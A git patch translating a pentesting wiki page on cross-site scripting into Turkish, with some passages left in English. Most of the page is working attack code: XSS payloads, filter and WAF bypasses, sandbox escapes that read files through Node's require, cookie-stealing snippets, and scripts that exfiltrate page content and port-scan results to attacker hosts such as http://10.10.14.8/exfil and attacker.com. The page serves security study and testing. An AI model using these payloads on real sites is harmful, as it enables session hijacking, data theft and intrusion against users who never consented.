From 02955f5b6e2a97aae03eed2a15d6a6277a26e723 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:40:41 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/README.md', --- .../xss-cross-site-scripting/README.md | 537 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 50 +- 2 files changed, 331 insertions(+), 256 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 439a3cdc3..4fcf7bef8 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,32 +4,32 @@ ## Metodoloji -1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin. -2. **Yansıtıldığı/kullanıldığı bağlamı** bulun. -3. Eğer **yansıtılmışsa**: -1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın: -1. **Ham HTML'de**: -1. Yeni HTML etiketleri oluşturabilir misiniz? -2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz? -3. Koruma mekanizmalarını aşabilir misiniz? -4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz. -5. JS kodu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz? -2. Bir **HTML etiketinin** içinde: -1. Ham HTML bağlamına çıkabilir misiniz? -2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz? -3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu? -4. Koruma mekanizmalarını aşabilir misiniz? -3. **JavaScript kodunun** içinde: -1. ``** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır: +Bu durumda girdiniz bir HTML sayfasının **``** etiketleri arasında, bir `.js` dosyası içinde veya **`javascript:`** protokolünü kullanan bir öznitelik içinde yansıtılır: -- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. -- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır): +- Eğer yansıma **``** etiketleri arasındaysa, girdiniz herhangi bir tür tırnak içinde olsa bile `` enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu, çünkü **tarayıcı önce HTML etiketlerini parse eder** ve sonra içeriği işler; dolayısıyla enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmez. +- Eğer yansıma **inside a JS string** içinde ise ve son hile işe yaramıyorsa, string'ten **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata olursa, çalıştırılmaz: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır: +- Eğer template literals içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** yerleştirebilirsiniz: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** geçerli javascript kodu yazmak için işe yarar: ```javascript alert(1) alert(1) @@ -85,29 +85,29 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ -**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** +Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirmenize olanak tanıyan bir durumdur; bu sayede bir XSS'in bildirimi yapılmamış değişkenler veya fonksiyonlar kullandığı senaryolardan faydalanabilirsiniz.**\ +**Daha fazla bilgi için şu sayfayı inceleyin:** {{#ref}} js-hoisting.md {{#endref}} -### Javascript Fonksiyonu +### Javascript Function -Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`. +Birçok web sayfası, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpointlere sahiptir. Gerçekte sık gördüğünüz yaygın bir örnek şuna benzer: `?callback=callbackFunc`. -Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır: +Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. 'Vulnerable' yapmak) ve konsolda şu tür hatalara bakmaktır: ![](<../../images/image (711).png>) -Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz:** **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır. +Eğer zafiyet varsa, sadece değeri göndererek bir uyarı tetikleyebilirsiniz: **`?callback=alert(1)`**. Ancak, bu endpointlerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgiye izin verecek şekilde doğruladığını görmek yaygındır (**`[\w\._]`**). -Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**: +Ancak, bu sınırlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, geçerli karakterleri DOM'daki herhangi bir elemana erişmek için kullanabilmenizdir: ![](<../../images/image (747).png>) -Bunun için bazı yararlı fonksiyonlar: +Bunun için bazı faydalı fonksiyonlar: ``` firstElementChild lastElementChild @@ -115,11 +115,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`. +You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. -Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir. +However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. + +Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: -Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir: {{#ref}} some-same-origin-method-execution.md @@ -127,36 +128,39 @@ some-same-origin-method-execution.md ### DOM -**JS kodu** bir **saldırgan tarafından kontrol edilen** bazı **verileri** **güvensizce** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir. +There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. + {{#ref}} dom-xss.md {{#endref}} -### **Evrensel XSS** +### **Universal XSS** + +These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ +Some **examples**: -Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütme** bile **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\ -Bazı **örnekler**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF atlatma kodlama resmi +## WAF bypass encoding image ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Ham HTML içinde enjekte etme +## Injecting inside raw HTML -Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\ -Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\ -_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_ +When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ +For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*** -Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz: +In this case and if no black/whitelisting is used, you could use payloads like: ```html ` etiketleri arasında veya JS kodu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacak**. +Bu durumda sizin **girdiniz** bir `.js` dosyasındaki JS kodu içinde veya `` etiketleri arasında ya da JS kodu çalıştırabilecek HTML event'leri arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacaktır**. -### \` içinde yer alıyorsa, `` içine yansıtılıyorsa, kolayca ` ``` -Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir. +Bu örnekte **tek tırnağı bile kapatmadığımızı** unutmayın. Bunun nedeni, **HTML ayrıştırmasının (parsing) önce tarayıcı tarafından yapılmasıdır**, bu işlem sayfa öğelerinin, script blokları dahil olmak üzere, tanımlanmasını içerir. Gömülü scriptleri anlamak ve çalıştırmak için JavaScript'in ayrıştırılması ise ancak sonrasında gerçekleştirilir. ### JS kodu içinde -Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele JS çalıştırabilirsiniz**. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: +Eğer `<>` temizleniyorsa, girdinizin **bulunduğu** yerde string'i **escape ederek** yine de **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir; çünkü herhangi bir hata varsa JS kodu çalıştırılmaz: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Şablon Literalleri \`\` +#### JS-in-JS string break → inject → repair pattern -Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamalarına olanak tanıdığı için şablon literalleri olarak bilinir.\ -Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz: +Kullanıcı girdisi tırnak işaretleriyle çevrili bir JavaScript dizesinin içinde (ör. sunucu tarafı echo ile inline script içine) yerleştiğinde, dizeyi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Zafiyetli parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni: +``` +?param=test";;a=" +``` +Bu, HTML context'e dokunmaya gerek kalmadan saldırgan JS'i çalıştırır (pure JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin. -Bu, şu şekilde **kötüye kullanılabilir**: +### Template literals `` + +Tek tırnak ve çift tırnakların dışında **strings** oluşturmak için JS ayrıca **backticks** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **embedded JS expressions** yazmanıza izin verdiği için template literals olarak bilinir.\ +Bu yüzden, girdinizin backticks kullanan bir JS stringi içinde **reflected** olarak yer aldığını görürseniz, `${ ... }` sözdizimini kötüye kullanarak **arbitrary JS code** çalıştırabilirsiniz: + +Bu şu şekilde **kötüye kullanılabilir**: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -506,22 +525,37 @@ return loop } loop`` ``` -### Kodun kodlanmış yürütülmesi +### Encode edilmiş code yürütülmesi ```html ``` -**Yorum içinde Javascript** +**Javascript bir yorumun içinde** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` -**Parantezsiz JavaScript** +**JavaScript parantez olmadan** ```javascript // By setting location window.location='javascript:alert\x281\x29' @@ -680,7 +714,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Rastgele fonksiyon (alert) çağrısı** +**Keyfi fonksiyon (alert) çağrısı** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -740,64 +774,64 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **DOM zafiyetleri** +## **DOM vulnerabilities** -**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\ -**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:** +Bir saldırgan tarafından kontrol edilen verileri (ör. `location.href`) güvensiz şekilde kullanan **JS code** vardır. Bir saldırgan bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir.\ +**açıklamanın genişlemesi nedeniyle** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\ -Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın. +Orada DOM vulnerabilities'in ne olduğu, nasıl tetiklendiği ve nasıl exploit edileceği hakkında ayrıntılı bir **açıklama** bulacaksınız.\ +Ayrıca, bahsedilen yazının **sonunda** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulabileceğinizi unutmayın. -### Self-XSS'i Yükseltme +### Upgrading Self-XSS ### Cookie XSS -Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz: +Eğer payload'ı bir cookie içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'tir. Ancak, eğer bir **vulnerable subdomain to XSS** bulursanız, bu XSS'i kötüye kullanarak tüm domaine bir cookie enjekte edebilir ve böylece ana domainde veya cookie XSS'e karşı savunmasız diğer alt alan adlarında cookie XSS'i tetikleyebilirsiniz. Bunun için cookie tossing attack kullanabilirsiniz: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz. +You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### Oturumunuzu yöneticilere gönderme +### Sending your session to the admin -Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir. +Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilindeyse ve admin bu profili açarsa, zafiyeti tetiklemiş olur. -### Oturum Yansıtma +### Session Mirroring -Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir. +Eğer bazı self XSS'ler bulur ve web sayfası yöneticiler için **session mirroring** sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip adminin sizin oturumunuzda gördüklerinizi kendi oturumundan görmesini sağlıyorsa — yöneticinin sizin self XSS'inizi tetiklemesini sağlayıp onun çerezlerini/oturumunu çalabilirsiniz. -**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz. +You could make the **administrator trigger your self XSS** and steal his cookies/session. -## Diğer Bypass'lar +## Other Bypasses -### Normalleştirilmiş Unicode +### Normalised Unicode -**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları aşmak için istismar edebilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/index.html#xss-cross-site-scripting). +Sunucu (veya istemci tarafında) **reflected values**'ın **unicode normalized** edilip edilmediğini kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### PHP FILTER_VALIDATE_EMAIL bayrağı Bypass +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -**RoR kütle ataması** nedeniyle HTML'ye alıntılar eklenir ve ardından alıntı kısıtlaması aşılır ve ek alanlar (onfocus) etiketin içine eklenebilir.\ -Form örneği ([bu rapordan](https://hackerone.com/reports/709336)), eğer yükü gönderirseniz: +**RoR mass assignment** nedeniyle tırnak işaretleri HTML'e eklenir ve böylece tırnak kısıtlaması atlanır ve etikete ek alanlar (onfocus) eklenebilir.\ +Form örneği ([from this report](https://hackerone.com/reports/709336)), eğer payload'u gönderirseniz: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -"Key","Value" çifti şu şekilde geri dönecektir: +"Key","Value" çifti şu şekilde geri döndürülecek: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir. +Sonra, onfocus özniteliği eklenecek ve XSS gerçekleşir. ### Özel kombinasyonlar ```html @@ -829,24 +863,24 @@ Sonra, onfocus niteliği eklenecek ve XSS gerçekleşecektir. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS ile 302 yanıtında başlık enjeksiyonu +### 302 yanıtında header enjeksiyonu ile XSS -Eğer **302 Yönlendirme yanıtında başlıkları enjekte edebildiğinizi** bulursanız, **tarayıcının rastgele JavaScript'i çalıştırmasını sağlamayı** deneyebilirsiniz. Bu **kolay değildir** çünkü modern tarayıcılar, HTTP yanıt durum kodu 302 olduğunda HTTP yanıt gövdesini yorumlamaz, bu nedenle sadece bir cross-site scripting yükü işe yaramaz. +Eğer **inject headers in a 302 Redirect response** yapabildiğinizi fark ederseniz, tarayıcının **make the browser execute arbitrary JavaScript** sağlamayı deneyebilirsiniz. Bu **not trivial** çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden tek başına bir cross-site scripting payload işe yaramaz. -[**Bu raporda**](https://www.gremwell.com/firefox-xss-302) ve [**şu raporda**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) Konum başlığı içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin tarayıcının gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin verip vermediğini görebilirsiniz.\ -Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _boş Konum başlığı_, `resource://`. +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ +Daha önce bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### Sadece Harfler, Sayılar ve Noktalar +### Yalnız Harfler, Rakamlar ve Noktalar -Eğer javascript'in **çalıştıracağı** **callback**'i bu karakterlerle sınırlı olarak belirtebiliyorsanız. [**Bu gönderinin bu bölümünü okuyun**](#javascript-function) bu davranışı nasıl kötüye kullanacağınızı öğrenmek için. +Eğer javascript'in çalıştıracağı **callback**'i yalnızca bu karakterlerle belirleyebiliyorsanız. [**Read this section of this post**](#javascript-function) bölümünü okuyarak bu davranışın nasıl suistimal edileceğini öğrenebilirsiniz. -### XSS için Geçerli ` @@ -947,21 +981,22 @@ Eğer sayfa text/xml içerik türü döndürüyorsa, bir ad alanı belirtmek ve ``` -### Özel Değiştirme Desenleri +### Özel Değiştirme Kalıpları -**`"some {{template}} data".replace("{{template}}", )`** gibi bir şey kullanıldığında, saldırgan bazı korumaları aşmaya çalışmak için [**özel dize değiştirmeleri**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Şunun gibi bir ifade kullanıldığında: **`"some {{template}} data".replace("{{template}}", )`**. Saldırgan bazı korumaları atlatmak için [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Örneğin, [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) bu, bir script içinde **bir JSON dizesini** kaçırmak ve rastgele kod çalıştırmak için kullanıldı. +For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code. + +### Chrome Cache to XSS -### Chrome Önbelleği ile XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### XS Jails Kaçışı +### XS Jails Escape -Kullanabileceğiniz sınırlı bir karakter setiniz varsa, XSJail problemleri için bu diğer geçerli çözümleri kontrol edin: +Eğer yalnızca sınırlı bir karakter seti kullanabiliyorsanız, XSJail problemleri için bu diğer geçerli çözümlere bakın: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -992,22 +1027,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Eğer **her şey tanımsızsa** güvenilmeyen kod çalıştırılmadan önce (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) yararlı nesneleri "hiçbir şeyden" oluşturmak ve keyfi güvenilmeyen kodun çalıştırılmasını istismar etmek mümkündür: +If **her şey undefined** ise ve güvenilmeyen kodu çalıştırmadan önce (ör. [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) keyfi güvenilmeyen kod yürütmesini suistimal etmek için faydalı nesneleri "hiçten" oluşturmak mümkün olur: - import() kullanarak ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` -- `require`'a dolaylı erişim +- Dolaylı olarak `require`'e erişme -[Buna göre](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içinde sarılır, şu şekilde: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Bu nedenle, eğer o modülden **başka bir fonksiyonu çağırabiliyorsak**, o fonksiyondan **`require`**'a erişmek için `arguments.callee.caller.arguments[1]` kullanmak mümkündür: +Bu nedenle, eğer o modülden **başka bir fonksiyon çağırabiliyorsak**, o fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'e erişmek mümkün olur: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1016,7 +1051,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Önceki örnekteki gibi, **hata işleyicilerini** kullanarak modülün **sarmalayıcısına** erişmek ve **`require`** fonksiyonunu almak mümkündür: +Önceki örneğe benzer şekilde, **use error handlers** kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür: ```javascript try { null.f() @@ -1056,7 +1091,7 @@ trigger() ``` ### Obfuscation & Advanced Bypass -- **Bir sayfadaki farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Tek bir sayfada farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) @@ -1235,9 +1270,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS yaygın yükler +## XSS yaygın payloads -### 1'de Birkaç Yük +### Birden fazla payloads bir arada {{#ref}} @@ -1246,14 +1281,14 @@ steal-info-js.md ### Iframe Tuzağı -Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemlerini çal (formlarda gönderilen bilgiler dahil): +Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın: {{#ref}} ../iframe-traps.md {{#endref}} -### Çerezleri Al +### Cookies'i Alma ```javascript /?c="+document.cookie> @@ -1276,9 +1311,9 @@ Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemler ``` > [!TIP] -> Eğer çerezde HTTPOnly bayrağı ayarlandıysa, **JavaScript'ten çerezlere erişemezsiniz**. Ama burada [bu korumayı aşmanın bazı yolları](../hacking-with-cookies/index.html#httponly) var, eğer yeterince şanslıysanız. +> **Cookie üzerinde HTTPOnly flag ayarlıysa, JavaScript'ten cookies'e erişemezsiniz.** Ancak şanslıysanız bu korumayı aşmanın [bazı yolları](../hacking-with-cookies/index.html#httponly) burada mevcut. -### Sayfa İçeriğini Çal +### Steal Page Content ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1291,7 +1326,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### İç IP'leri Bulma +### İç IP'leri Bul ```html ``` -### Port Tarayıcı (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` @@ -1367,15 +1402,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms") }; } ``` -_Kısa süreler yanıt veren bir portu gösterir_ _Uzun süreler 